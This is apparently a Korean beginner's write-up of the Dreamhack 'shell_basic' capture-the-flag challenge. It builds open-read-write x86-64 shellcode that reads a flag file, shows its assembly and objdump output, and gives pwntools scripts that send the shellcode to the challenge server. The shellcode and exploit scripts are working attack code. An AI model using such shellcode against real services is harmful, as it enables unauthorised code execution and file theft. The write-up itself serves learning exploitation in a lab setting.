입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
execve 시스템 콜을 사용하지 못하는 것으로 보아 orw 셸코드를 작성해서 /home/shell_basic/flag_name_is_loooooong 에 있는 flag 파일을 읽어야 하는 문제같다.
일단 시스템 해킹 문제를 처음 풀어보기 때문에 드림핵 강의에서 배웠던 그대로 풀어봤다.
heun@heun-virtual-machine:~/0925$ vi shell_basic.S
shell_basic.S 을 만들어서 어셈블리 코드를 작성했다.
한 문단씩 살펴보겠다.

/home/shell_basic/flag_name_is_loooooong을 아스키 코드로 변환한 것이다.
여기서 리틀 엔디안 방법을 사용하면
676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f 이다.
이것을 스택에 push 해서 위치시킬건데 스택에는 8 바이트 단위로만 값을 push 할 수 있으므로 8바이트씩 나눠서 push 했다.
그리고 rdi가 위의 것을 가리키기 위해 mov 를 사용해 rsp (스택 포인터)를 rdi로 옮긴다.
O_RDONLY는 0이므로, rsi는 0으로 설정한다.
xor 을 사용해서 0을 설정 할 것이므로 자기 자신을 xor 한다.
파일을 읽을 때 mode 는 의미가 없으므로 rdx 는 0으로 설정한다.
이것도 마찬가지로 자기 자신을 xor 해서 0이 되도록 한다.
마지막으로 rax를 open의 syscall 값인 2로 설정한다.
open(filename, flags, mode)에서 각각 첫 번째, 두 번째, 세 번째 인자는 rdi, rsi, rdx 레지스터 값이 사용된다.
syscall의 반환 값은 rax로 저장된다.
따라서 open으로 획득한 /home/shell_basic/flag_name_is_loooooong의 fd는 rax에 저장된다.
read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.
buf는 스택에 만들 것이므로 rsi에 rsp를 대입하고, 파일에서 read할 크기만큼 rsi에서 빼주고 rdx를 파일에서 read할 크기만큼 설정해준다.
read 시스템콜을 호출하기 위해서 rax를 0으로 설정한다.
출력은 stdout (일반 출력)으로 할 것이므로, rdi를 0x1로 설정한다.
rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
write 시스템콜을 호출하기 위해서 rax를 1로 설정한다.
이제 작성한 어셈블리 코드를 스켈레톤 코드에 넣는 방식으로 c 파일을 만들었다.
heun@heun-virtual-machine:~/0925$ vi orw.c
// File name: orw.c
// Compile Option: gcc -o orw orw -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x0\n"
"mov rax, 0x676e6f6f6f6f6f6f\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 0x2 # rax = 2 ; syscall_open\n"
"syscall # open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"mov rdi, 1 # rdi = 1 ; rd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
이제 orw.c를 컴파일하고 objdump로 셸코드를 추출해야 한다.
heun@heun-virtual-machine:~/0925$ gcc -o orw orw.c -masm=intel
heun@heun-virtual-machine:~/0925$ objdump -d orw
orw: file format elf64-x86-64
Disassembly of section .init:
0000000000001000 <_init>:
1000: f3 0f 1e fa endbr64
1004: 48 83 ec 08 sub $0x8,%rsp
1008: 48 8b 05 d9 2f 00 00 mov 0x2fd9(%rip),%rax # 3fe8 <__gmon_start__@Base>
100f: 48 85 c0 test %rax,%rax
1012: 74 02 je 1016 <_init+0x16>
1014: ff d0 call *%rax
1016: 48 83 c4 08 add $0x8,%rsp
101a: c3 ret
Disassembly of section .plt:
0000000000001020 <.plt>:
1020: ff 35 a2 2f 00 00 push 0x2fa2(%rip) # 3fc8 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: f2 ff 25 a3 2f 00 00 bnd jmp *0x2fa3(%rip) # 3fd0 <_GLOBAL_OFFSET_TABLE_+0x10>
102d: 0f 1f 00 nopl (%rax)
Disassembly of section .plt.got:
0000000000001030 <__cxa_finalize@plt>:
1030: f3 0f 1e fa endbr64
1034: f2 ff 25 bd 2f 00 00 bnd jmp *0x2fbd(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
103b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
Disassembly of section .text:
0000000000001040 <_start>:
1040: f3 0f 1e fa endbr64
1044: 31 ed xor %ebp,%ebp
1046: 49 89 d1 mov %rdx,%r9
1049: 5e pop %rsi
104a: 48 89 e2 mov %rsp,%rdx
104d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
1051: 50 push %rax
1052: 54 push %rsp
1053: 45 31 c0 xor %r8d,%r8d
1056: 31 c9 xor %ecx,%ecx
1058: 48 8d 3d 4b 01 00 00 lea 0x14b(%rip),%rdi # 11aa <main>
105f: ff 15 73 2f 00 00 call *0x2f73(%rip) # 3fd8 <__libc_start_main@GLIBC_2.34>
1065: f4 hlt
1066: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
106d: 00 00 00
0000000000001070 <deregister_tm_clones>:
1070: 48 8d 3d 99 2f 00 00 lea 0x2f99(%rip),%rdi # 4010 <__TMC_END__>
1077: 48 8d 05 92 2f 00 00 lea 0x2f92(%rip),%rax # 4010 <__TMC_END__>
107e: 48 39 f8 cmp %rdi,%rax
1081: 74 15 je 1098 <deregister_tm_clones+0x28>
1083: 48 8b 05 56 2f 00 00 mov 0x2f56(%rip),%rax # 3fe0 <_ITM_deregisterTMCloneTable@Base>
108a: 48 85 c0 test %rax,%rax
108d: 74 09 je 1098 <deregister_tm_clones+0x28>
108f: ff e0 jmp *%rax
1091: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
1098: c3 ret
1099: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
00000000000010a0 <register_tm_clones>:
10a0: 48 8d 3d 69 2f 00 00 lea 0x2f69(%rip),%rdi # 4010 <__TMC_END__>
10a7: 48 8d 35 62 2f 00 00 lea 0x2f62(%rip),%rsi # 4010 <__TMC_END__>
10ae: 48 29 fe sub %rdi,%rsi
10b1: 48 89 f0 mov %rsi,%rax
10b4: 48 c1 ee 3f shr $0x3f,%rsi
10b8: 48 c1 f8 03 sar $0x3,%rax
10bc: 48 01 c6 add %rax,%rsi
10bf: 48 d1 fe sar %rsi
10c2: 74 14 je 10d8 <register_tm_clones+0x38>
10c4: 48 8b 05 25 2f 00 00 mov 0x2f25(%rip),%rax # 3ff0 <_ITM_registerTMCloneTable@Base>
10cb: 48 85 c0 test %rax,%rax
10ce: 74 08 je 10d8 <register_tm_clones+0x38>
10d0: ff e0 jmp *%rax
10d2: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
10d8: c3 ret
10d9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
00000000000010e0 <__do_global_dtors_aux>:
10e0: f3 0f 1e fa endbr64
10e4: 80 3d 25 2f 00 00 00 cmpb $0x0,0x2f25(%rip) # 4010 <__TMC_END__>
10eb: 75 2b jne 1118 <__do_global_dtors_aux+0x38>
10ed: 55 push %rbp
10ee: 48 83 3d 02 2f 00 00 cmpq $0x0,0x2f02(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
10f5: 00
10f6: 48 89 e5 mov %rsp,%rbp
10f9: 74 0c je 1107 <__do_global_dtors_aux+0x27>
10fb: 48 8b 3d 06 2f 00 00 mov 0x2f06(%rip),%rdi # 4008 <__dso_handle>
1102: e8 29 ff ff ff call 1030 <__cxa_finalize@plt>
1107: e8 64 ff ff ff call 1070 <deregister_tm_clones>
110c: c6 05 fd 2e 00 00 01 movb $0x1,0x2efd(%rip) # 4010 <__TMC_END__>
1113: 5d pop %rbp
1114: c3 ret
1115: 0f 1f 00 nopl (%rax)
1118: c3 ret
1119: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
0000000000001120 <frame_dummy>:
1120: f3 0f 1e fa endbr64
1124: e9 77 ff ff ff jmp 10a0 <register_tm_clones>
0000000000001129 <run_sh>:
1129: 6a 00 push $0x0
112b: 48 b8 6f 6f 6f 6f 6f movabs $0x676e6f6f6f6f6f6f,%rax
1132: 6f 6e 67
1135: 50 push %rax
1136: 48 b8 61 6d 65 5f 69 movabs $0x6c5f73695f656d61,%rax
113d: 73 5f 6c
1140: 50 push %rax
1141: 48 b8 63 2f 66 6c 61 movabs $0x6e5f67616c662f63,%rax
1148: 67 5f 6e
114b: 50 push %rax
114c: 48 b8 65 6c 6c 5f 62 movabs $0x697361625f6c6c65,%rax
1153: 61 73 69
1156: 50 push %rax
1157: 48 b8 2f 68 6f 6d 65 movabs $0x68732f656d6f682f,%rax
115e: 2f 73 68
1161: 50 push %rax
1162: 48 89 e7 mov %rsp,%rdi
1165: 48 31 f6 xor %rsi,%rsi
1168: 48 31 d2 xor %rdx,%rdx
116b: 48 c7 c0 02 00 00 00 mov $0x2,%rax
1172: 0f 05 syscall
1174: 48 89 c7 mov %rax,%rdi
1177: 48 89 e6 mov %rsp,%rsi
117a: 48 83 ee 30 sub $0x30,%rsi
117e: 48 c7 c2 30 00 00 00 mov $0x30,%rdx
1185: 48 c7 c0 00 00 00 00 mov $0x0,%rax
118c: 0f 05 syscall
118e: 48 c7 c7 01 00 00 00 mov $0x1,%rdi
1195: 48 c7 c0 01 00 00 00 mov $0x1,%rax
119c: 0f 05 syscall
119e: 48 31 ff xor %rdi,%rdi
11a1: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
11a8: 0f 05 syscall
.
.
.
여기서 필요한 셸코드만 추출하면 된다.
owr가 실행되는 부분인 run_sh 만 추출하면 될 것이다.
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05
직접 추출한 셸 코드이다.
하지만 아무것도 나오지 않는다. 그래서 검색을 해보니 셸코드로 넘기는게 아니라 pwntools로 넘겨야 한다는 것을 알았다. 따라서 파이썬을 사용했다.
pwntools 는 인터넷에 검색하면 많이 나와있어서 하나씩 보면서 따라 작성했다.
from pwn import *
context.arch = "amd64"
p = remote("host3.dreamhack.games", 11760)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())
context.arch로 현재 아키텍처를 지정했다.
remote 함수는 원격 서버를 대상으로 실제 익스플로잇을 작동시킬때 사용하는 함수이다.
shellcode에 아까 추출한 셸코드를 저장했다.
sendlineafter로 해당 shellcode를 전달했다.
recv 함수는 프로그램이 출력하는 값을 봐야할 때 사용한다.
파일을 실행했더니 flag 를 구했다 !!
이 방법은 pwntools - shellcraft 를 이용했다.
쉘크래프트는 시스템콜의 어셈블리어 코드를 만들어 준다.
orw 셸코드를 만들어야 하므로 open, read, write syscall 해야한다.
from pwn import *
p = remote("host3.dreamhack.games", 11760)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
분석하자면
from pwn import *
p = remote("host3.dreamhack.games", 11760)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
여기까지는 1 방법 때 사용한 코드와 같다.
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
shellcraft 는 시스템콜을 쉽게 사용하기 위한 클래스이다.
shellcraft.open 을 통해 미리 지정한 파일을 열고, shellcraft.read 로 이를 읽어들여 shellcraft.writ 로 콘솔에 출력하는 기능을 수행한다.
여기서 저번 드림핵 강의 때 공부했던걸 복습해보자면
shellcode += shellcraft.read('rax', 'rsp', 0x100)
syscall의 반환 값은 rax로 저장된다.
따라서 open으로 획득한 r 의 fd는 rax에 저장된다.
read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.
buf에 rsp가 들어가는 이유는 buf의 주소가 rsp의 현재 위치이기 때문이다.
shellcode += shellcraft.write(1, 'rsp', 0x100)
출력은 stdout (일반 출력)으로 할 것이므로, rdi를 0x1로 설정한다.
rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
asm 함수를 사용해서 셸코드를 어셈블리어로 변환한 후에 서버로 전송하고 결과값을 받아와서 출력한다.
파일을 실행했더니 flag 를 구했다 !!
(Beginner 문제지만 포너블 입문자인 나한텐 너무너무 어려웠다.....ㅜㅡㅜ)